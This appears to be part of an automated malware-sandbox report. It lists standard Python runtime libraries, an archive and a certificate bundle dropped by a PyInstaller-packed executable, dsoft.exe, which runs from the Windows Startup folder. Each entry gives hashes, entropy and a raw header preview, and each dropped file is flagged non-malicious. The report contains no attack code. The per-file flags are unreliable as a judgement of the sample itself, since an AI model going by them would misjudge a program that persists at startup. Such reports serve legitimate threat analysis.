                                                                                                                                                                                                                                        SHA1:44577016E9C7B463A79B966B67C3ECC868957470
                                                                                                                                                                                                                                        SHA-256:775FBC6E9A4C7E9710205157350F3D6141B5A9E8F44CB07B3EAC38F2789C8723
                                                                                                                                                                                                                                        SHA-512:3EE72BA60541116BBCA1A62DB64074276D40AD8ED7D0CA199A9C51D65C3F0762A8EF6D0E1E9EBF04BF4EFE1347F120E4BC3D502DD288339B4DF646A59AAD0EC1
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................a.........................................t.........................................Rich....................PE..d...2..c.........." ...".....^..............................................P............`.........................................p...H............0....... .. .......x)...@..........T...........................p...@............................................text...g........................... ..`.rdata..L>.......@..................@..@.data...............................@....pdata.. .... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\_cffi_backend.cp310-win_amd64.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):181248
                                                                                                                                                                                                                                        Entropy (8bit):6.188683787528254
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:rZ1fKD8GVLHASq0TTjfQxnkVB0hcspEsHS7iiSTLkKetJb9Pu:rZNRGVb9TTCnaZsuMXiSTLLeD9
                                                                                                                                                                                                                                        MD5:EBB660902937073EC9695CE08900B13D
                                                                                                                                                                                                                                        SHA1:881537ACEAD160E63FE6BA8F2316A2FBBB5CB311
                                                                                                                                                                                                                                        SHA-256:52E5A0C3CA9B0D4FC67243BD8492F5C305FF1653E8D956A2A3D9D36AF0A3E4FD
                                                                                                                                                                                                                                        SHA-512:19D5000EF6E473D2F533603AFE8D50891F81422C59AE03BEAD580412EC756723DC3379310E20CD0C39E9683CE7C5204791012E1B6B73996EA5CB59E8D371DE24
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......ih..-..C-..C-..C$qMC!..C.|.B/..CKf#C)..C.|.B&..C.|.B%..C.|.B)..Cfq.B)..C.|.B...C-..C...C.|.B)..C$qKC,..C.|.B,..C.|!C,..C.|.B,..CRich-..C........PE..d.....e.........." .........@...............................................0............`..........................................g..l...|g..................H............ .......M...............................M..8............................................text...h........................... ..`.rdata..l...........................@..@.data....\.......0...v..............@....pdata..H...........................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\_ctypes.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):122232
                                                                                                                                                                                                                                        Entropy (8bit):6.015707129535061
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:YjjHoXs01LUZJNUoNZf4adhfrI70s3nRI7QPY2xB:Y3HUJ6f5dhfrIHX1
                                                                                                                                                                                                                                        MD5:CA4CEF051737B0E4E56B7D597238DF94
                                                                                                                                                                                                                                        SHA1:583DF3F7ECADE0252FDFF608EB969439956F5C4A
                                                                                                                                                                                                                                        SHA-256:E60A2B100C4FA50B0B144CF825FE3CDE21A8B7B60B92BFC326CB39573CE96B2B
                                                                                                                                                                                                                                        SHA-512:17103D6B5FA84156055E60F9E5756FFC31584CDB6274C686A136291C58BA0BE00238D501F8ACC1F1CA7E1A1FADCB0C7FEFDDCB98CEDB9DD04325314F7E905DF3
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......NC..."..."..."...Z..."..E^..."..E^..."..E^..."..E^..."...^..."...P..."...P..."...K..."..."..."...^..."...^..."...^x.."...^..."..Rich."..........................PE..d.../..c.........." ..."............PZ....................................................`.........................................0P.......P..................,.......x).......... ...T...............................@...............H............................text............................... ..`.rdata..6k.......l..................@..@.data...D>...p...8...\..............@....pdata..,...........................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\_decimal.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):248704
                                                                                                                                                                                                                                        Entropy (8bit):6.54473795039927
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:LbdyrWOay+msmOE8qQRiJpCWi9qWMa3pLW1AUg42G:6zsmsmGNRm1omZ2G
                                                                                                                                                                                                                                        MD5:6339FA92584252C3B24E4CCE9D73EF50
                                                                                                                                                                                                                                        SHA1:DCCDA9B641125B16E56C5B1530F3D04E302325CD
                                                                                                                                                                                                                                        SHA-256:4AE6F6FB3992BB878416211221B3D62515E994D78F72EAB51E0126CA26D0EE96
                                                                                                                                                                                                                                        SHA-512:428B62591D4EBA3A4E12F7088C990C48E30B6423019BEBF8EDE3636F6708E1F4151F46D442516D2F96453694EBEEF78618C0C8A72E234F679C6E4D52BEBC1B84
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........|RTy..Ty..Ty..]...Zy......Vy......Yy......\y......Py......Wy......Vy..Ty...y......Uy......[y......Uy......Uy......Uy..RichTy..........PE..d...)..c.........." ...".j...:......<................................................2....`.........................................@E..P....E...................'.......)......@...p...T...........................0...@............................................text....h.......j.................. ..`.rdata..l............n..............@..@.data....)...`...$...F..............@....pdata...'.......(...j..............@..@.rsrc...............................@..@.reloc..@...........................@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\_hashlib.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):61824
                                                                                                                                                                                                                                        Entropy (8bit):6.21086555394527
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:1536:aIpTlJFWaIDPZbdqzOgB1fFI75IJ7SyXPxMVt:rT36bZbdqzXfFI75IJRxMV
                                                                                                                                                                                                                                        MD5:D856A545A960BF2DCA1E2D9BE32E5369
                                                                                                                                                                                                                                        SHA1:67A15ECF763CDC2C2AA458A521DB8A48D816D91E
                                                                                                                                                                                                                                        SHA-256:CD33F823E608D3BDA759AD441F583A20FC0198119B5A62A8964F172559ACB7D3
                                                                                                                                                                                                                                        SHA-512:34A074025C8B28F54C01A7FD44700FDEDB391F55BE39D578A003EDB90732DEC793C2B0D16DA3DA5CDBD8ADBAA7B3B83FC8887872E284800E7A8389345A30A6A4
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_.A.>...>...>...F2..>...B...>...B...>...B...>...B...>..iB...>...L...>...D...>...>..Q>..iB...>..iB...>..iB^..>..iB...>..Rich.>..........................PE..d.../..c.........." ...".P...z.......<...............................................;....`............................................P...@............................)......X....l..T............................k..@............`..(............................text....N.......P.................. ..`.rdata..VM...`...N...T..............@..@.data...8...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..X...........................@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\_lzma.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):157560
                                                                                                                                                                                                                                        Entropy (8bit):6.834360512510993
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:PBKvRNVdG9LqSS2IAiznfI9mNoBkD9ZRqtI7e1Pvxs:PBKvRts82awYOBkvRqM
                                                                                                                                                                                                                                        MD5:0A94C9F3D7728CF96326DB3AB3646D40
                                                                                                                                                                                                                                        SHA1:8081DF1DCA4A8520604E134672C4BE79EB202D14
                                                                                                                                                                                                                                        SHA-256:0A70E8546FA6038029F2A3764E721CEEBEA415818E5F0DF6B90D6A40788C3B31
                                                                                                                                                                                                                                        SHA-512:6F047F3BDAEAD121018623F52A35F7E8B38C58D3A9CB672E8056A5274D02395188975DE08CABAE948E2CC2C1CA01C74CA7BC1B82E2C23D652E952F3745491087
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b.J[&.$.&.$.&.$./..".$.i.%.$.$.i.!.*.$.i. ...$.i.'.%.$...%.%.$...%.$.$.&.%.C.$...)...$...$.'.$.....'.$...&.'.$.Rich&.$.........PE..d...B..c.........." ...".b...........5..............................................ab....`.........................................0%..L...|%..x....p.......P.......>..x)......H.......T...........................`...@............................................text....`.......b.................. ..`.rdata..............f..............@..@.data........@......................@....pdata.......P......................@..@.rsrc........p.......2..............@..@.reloc..H............<..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\_multiprocessing.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):33152
                                                                                                                                                                                                                                        Entropy (8bit):6.323290452921724
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:768:G9HI6RwgJ5xeKg2edhnJ81I7Rtt/YiSyvPPxWEa5Z:aIoJ5UKg2edhJ81I7Rtt/7SynPxeZ
                                                                                                                                                                                                                                        MD5:62733CE8AE95241BF9CA69F38C977923
                                                                                                                                                                                                                                        SHA1:E5C3F4809E85B331CC8C5BA0AE76979F2DFDDF85
                                                                                                                                                                                                                                        SHA-256:AF84076B03A0EADEC2B75D01F06BB3765B35D6F0639FB7C14378736D64E1ACAA
                                                                                                                                                                                                                                        SHA-512:FDFBF5D74374F25ED5269CDBCDF8E643B31FAA9C8205EAC4C22671AA5DEBDCE4052F1878F38E7FAB43B85A44CB5665E750EDCE786CABA172A2861A5EABFD8D49
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........$Z*.E4y.E4y.E4y.=.y.E4y.95x.E4y.91x.E4y.90x.E4y.97x.E4yS95x.E4y.E5y.E4y?75x.E4yS99x.E4yS94x.E4yS9.y.E4yS96x.E4yRich.E4y........................PE..d...+..c.........." ...".....<......0................................................y....`.........................................0D..`....D..x....p.......`.......X...)...........4..T...........................p3..@............0...............................text............................... ..`.rdata..^....0... ..."..............@..@.data........P.......B..............@....pdata.......`.......H..............@..@.rsrc........p.......L..............@..@.reloc...............V..............@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\_overlapped.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):48512
                                                                                                                                                                                                                                        Entropy (8bit):6.325592382122715
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:768:zy4KxRzXINGAQSKant/QKhl6XoTZfWJhSVAWiUOJI7stsYiSyvxPxWEa:XKxqztLTQSVAkOJI7sts7SypPx
                                                                                                                                                                                                                                        MD5:02C0F2EFF280B9A92003786FDED7C440
                                                                                                                                                                                                                                        SHA1:5A7FE7ED605FF1C49036D001AE60305E309C5509
                                                                                                                                                                                                                                        SHA-256:F16E595B0A87C32D9ABD2035F8EA97B39339548E7C518DF16A6CC27BA7733973
                                                                                                                                                                                                                                        SHA-512:2B05DDF7BC57E8472E5795E68660D52E843271FD08F2E8002376B056A8C20200D31FFD5E194CE486F8A0928A8486951FDB5670246F1C909F82CF4B0929EFEDAC
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........({..F(..F(..F(...(..F(..G)..F(..C)..F(..B)..F(..E)..F(..G)..F(..G(..F(c.G)..F(c.B)..F(..K)..F(..F)..F(...(..F(..D)..F(Rich..F(................PE..d...-..c.........." ...".>...X...... .....................................................`..........................................w..X...(x...........................)...... ....V..T............................U..@............P...............................text....<.......>.................. ..`.rdata...4...P...6...B..............@..@.data................x..............@....pdata..............................@..@.rsrc...............................@..@.reloc.. ...........................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\_queue.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):30592
                                                                                                                                                                                                                                        Entropy (8bit):6.413040228053335
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:768:yez/DF36r3CkrAIeRI77UNYiSyvlfUvPxWEl:yeDM3CkrAIeRI77UN7SyOvPx
                                                                                                                                                                                                                                        MD5:52D0A6009D3DE40F4FA6EC61DB98C45C
                                                                                                                                                                                                                                        SHA1:5083A2AFF5BCCE07C80409646347C63D2A87BD25
                                                                                                                                                                                                                                        SHA-256:007BCF19D9B036A7E73F5EF31F39BFB1910F72C9C10E4A1B0658352CFE7A8B75
                                                                                                                                                                                                                                        SHA-512:CD552A38EFAA8720A342B60318F62320CE20C03871D2E50D3FA3A9A730B84DACDBB8EB4D0AB7A1C8A97215B537826C8DC532C9A55213BCD0C1D13D7D8A9AD824
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........._ZF.1.F.1.F.1.O..D.1...0.D.1...4.J.1...5.N.1...2.E.1...0.E.1...0.D.1.F.0...1...<.G.1...1.G.1.....G.1...3.G.1.RichF.1.........PE..d...&..c.........." ...".....8......................................................B.....`..........................................C..L....C..d....p.......`.......N...)..........`4..T........................... 3..@............0..(............................text............................... ..`.rdata..2....0......................@..@.data...x....P.......:..............@....pdata.......`.......>..............@..@.rsrc........p.......B..............@..@.reloc...............L..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\_socket.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):77696
                                                                                                                                                                                                                                        Entropy (8bit):6.248960816871735
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:1536:c67eU/Bgujs9/s+S+py8k/DDjaRI7Qw27Syj/Px:c673/aujs9/sT+pPk/XmRI7Qw2xx
                                                                                                                                                                                                                                        MD5:0F5E64E33F4D328EF11357635707D154
                                                                                                                                                                                                                                        SHA1:8B6DCB4B9952B362F739A3F16AE96C44BEA94A0E
                                                                                                                                                                                                                                        SHA-256:8AF6D70D44BB9398733F88BCFB6D2085DD1A193CD00E52120B96A651F6E35EBE
                                                                                                                                                                                                                                        SHA-512:4BE9FEBB583364DA75B6FB3A43A8B50EE29CA8FC1DDA35B96C0FCC493342372F69B4F27F2604888BCA099C8D00F38A16F4C9463C16EFF098227D812C29563643
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Z..{4..{4..{4......{4...5..{4...1..{4...0..{4...7..{4.U.5..{4..{5.\{4.9.5..{4.U.9..{4.U.4..{4.U....{4.U.6..{4.Rich.{4.........................PE..d...0..c.........." ...".l.......... &.......................................P............`.............................................P...P........0....... ..l........)...@.........T...............................@............................................text...Rj.......l.................. ..`.rdata...s.......t...p..............@..@.data...............................@....pdata..l.... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\_sqlite3.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):97664
                                                                                                                                                                                                                                        Entropy (8bit):6.170877221164934
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:1536:QzgM+YDOyvuPwYXGqijQa4rlIain9NbT19c4LOyZkyDFI75Qx87SyDPx:vtYCDPSQa4rlIXDbPc23ZkyDFI75Qx8H
                                                                                                                                                                                                                                        MD5:9F38F603BD8F7559609C4FFA47F23C86
                                                                                                                                                                                                                                        SHA1:8B0136FC2506C1CCEF2009DB663E4E7006E23C92
                                                                                                                                                                                                                                        SHA-256:28090432A18B59EB8CBE8FDCF11A277420B404007F31CA571321488A43B96319
                                                                                                                                                                                                                                        SHA-512:273A19F2F609BEDE9634DAE7C47D7B28D369C88420B2B62D42858B1268D6C19B450D83877D2DBA241E52755A3F67A87F63FEA8E5754831C86D16E2A8F214AD72
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......8..|...|...|...u...z...3...~...3.~.}...3...q...3...t...3..........y.......~...|..........u......}....|.}......}...Rich|...........PE..d...[..c.........." ..."..................................................................`.............................................P....................`.......T...)..............T...............................@...............`............................text...n........................... ..`.rdata...p.......r..................@..@.data...,....@......................@....pdata.......`.......2..............@..@.rsrc................F..............@..@.reloc...............P..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\_ssl.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):159096
                                                                                                                                                                                                                                        Entropy (8bit):6.001271339711538
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:xOoLGtbSpE3z/J/PUE1ueW5J2oEPwu3rE923+nuI5Piev9mutI7t7L+xu:xOoitbSpE3zhH7ueAE8nuaF9muy
                                                                                                                                                                                                                                        MD5:9DDB64354EF0B91C6999A4B244A0A011
                                                                                                                                                                                                                                        SHA1:86A9DC5EA931638699EB6D8D03355AD7992D2FEE
                                                                                                                                                                                                                                        SHA-256:E33B7A4AA5CDD5462EE66830636FDD38048575A43D06EB7E2F688358525DDEAB
                                                                                                                                                                                                                                        SHA-512:4C86478861FA4220680A94699E7D55FBDC90D2785CAEE10619CECB058F833292EE7C3D6AC2ED1EF34B38FBFF628B79D672194A337701727A54BB6BBC5BF9AECA
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......,z..h.gLh.gLh.gLac.Ln.gL'gfMj.gL'gbMe.gL'gcM`.gL'gdMk.gL.gfMj.gL.afMl.gLh.fL..gL.ifMo.gL.gjMj.gL.ggMi.gL.g.Li.gL.geMi.gLRichh.gL................PE..d...3..c.........." ..."............l*.............................................._M....`............................................d...4........`.......P.......D..x)...p..<.......T...............................@............................................text...x........................... ..`.rdata..J...........................@..@.data....j.......f..................@....pdata.......P....... ..............@..@.rsrc........`.......,..............@..@.reloc..<....p.......6..............@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\_uuid.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):23936
                                                                                                                                                                                                                                        Entropy (8bit):6.532904843385081
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:JfwFpEW96TfQtI7ewyIIYiSy1pCQDMaPxh8E9VF0Nyvzo:JqpEnjQtI7ewAYiSyvfPxWEx
                                                                                                                                                                                                                                        MD5:041556420BDB334A71765D33229E9945
                                                                                                                                                                                                                                        SHA1:0122316E74EE4ADA1CE1E0310B8DCA1131972CE1
                                                                                                                                                                                                                                        SHA-256:8B3D4767057C18C1C496E138D4843F25E5C98DDFC6A8D1B0ED46FD938EDE5BB6
                                                                                                                                                                                                                                        SHA-512:18DA574B362726EDE927D4231CC7F2AEBAFBAAAB47DF1E31B233F7EDA798253AEF4C142BED1A80164464BD629015D387AE97BA36FCD3CEDCFE54A5A1E5C5CAA3
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........;$p^ZJ#^ZJ#^ZJ#W".#\ZJ#.&K"\ZJ#.&O"RZJ#.&N"VZJ#.&I"]ZJ#.&K"\ZJ#.(K"[ZJ#^ZK#tZJ#.&B"_ZJ#.&J"_ZJ#.&.#_ZJ#.&H"_ZJ#Rich^ZJ#................PE..d...+..c.........." ...".....&...... ........................................p............`.........................................`)..L....)..x....P.......@.......4...)...`..@...`#..T........................... "..@............ ..8............................text...h........................... ..`.rdata....... ......................@..@.data........0.......$..............@....pdata.......@.......&..............@..@.rsrc........P.......(..............@..@.reloc..@....`.......2..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\base_library.zip

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:Zip archive data, at least v2.0 to extract, compression method=store
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):880537
                                                                                                                                                                                                                                        Entropy (8bit):5.683035771422093
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:lgYJu4KXWyBC6S4IEa8A4a2Y42dOVwx/fpEWertSLMNM:lgYJiVBFLa21nVwx/fpEWe+MNM
                                                                                                                                                                                                                                        MD5:22FEE1506D933ABB3335FFB4A1E1D230
                                                                                                                                                                                                                                        SHA1:18331CBA91F33FB6B11C6FDEFA031706AE6D43A0
                                                                                                                                                                                                                                        SHA-256:03F6A37FC2E166E99CE0AD8916DFB8A70945E089F9FC09B88E60A1649441AB6E
                                                                                                                                                                                                                                        SHA-512:3F764337A3FD4F8271CBA9602AEF0663D6B7C37A021389395A00D39BD305D2B927A150C2627B1C629FDBD41C044AF0F7BC9897F84C348C2BCCC085DF911EEE02
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:PK..........!..^".5...5......._collections_abc.pyco....................................@.......d.Z.d.d.l.m.Z.m.Z...d.d.l.Z.e.e.e.....Z.e.d...Z.d.d...Z.e.e...Z.[.g.d...Z.d.Z.e.e.d.....Z.e.e.e.......Z.e.e.i.........Z.e.e.i.........Z.e.e.i.........Z.e.e.g.....Z.e.e.e.g.......Z.e.e.e.d.......Z.e.e.e.d.d.>.......Z.e.e.e.......Z.e.e.d.....Z e.e.d.....Z!e.e.e"......Z#e.i.......Z$e.i.......Z%e.i.......Z&e.e.j'..Z(e.d.d.......Z)d.d...Z*e*..Z*e.e*..Z+e*.,....[*d.d...Z-e-..Z-e.e-..Z.[-d.d...Z/G.d.d...d.e.d...Z0G.d.d...d.e.d...Z1G.d.d...d.e1..Z2e2.3e+....G.d.d...d.e.d...Z4G.d.d ..d e4..Z5G.d!d"..d"e5..Z6e6.3e.....G.d#d$..d$e.d...Z7G.d%d&..d&e7..Z8e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e ....e8.3e!....e8.3e#....G.d'd(..d(e7..Z9G.d)d*..d*e8..Z:e:.3e)....G.d+d,..d,e.d...Z;G.d-d...d.e.d...Z<G.d/d0..d0e;e7e<..Z=G.d1d2..d2e...Z>d3d4..Z?d5d6..Z@d7d8..ZAG.d9d:..d:e.d...ZBG.d;d<..d<e=..ZCeC.3eD....G.d=d>..d>eC..ZEeE.3e.....G.d?d@..d@e=..ZFeF

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\certifi\cacert.pem

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:ASCII text
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):281617
                                                                                                                                                                                                                                        Entropy (8bit):6.048201407322743
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:QW1H/M8fRR1mNplkXURrVADwYCuCigT/Q5MSRqNb7d8iu5f:QWN/TR8NLWURrI55MWavdF0f
                                                                                                                                                                                                                                        MD5:78D9DD608305A97773574D1C0FB10B61
                                                                                                                                                                                                                                        SHA1:9E177F31A3622AD71C3D403422C9A980E563FE32
                                                                                                                                                                                                                                        SHA-256:794D039FFDF277C047E26F2C7D58F81A5865D8A0EB7024A0FAC1164FEA4D27CF
                                                                                                                                                                                                                                        SHA-512:0C2D08747712ED227B4992F6F8F3CC21168627A79E81C6E860EE2B5F711AF7F4387D3B71B390AA70A13661FC82806CC77AF8AB1E8A8DF82AD15E29E05FA911BF
                                                                                                                                                                                                                                        Malicious:false
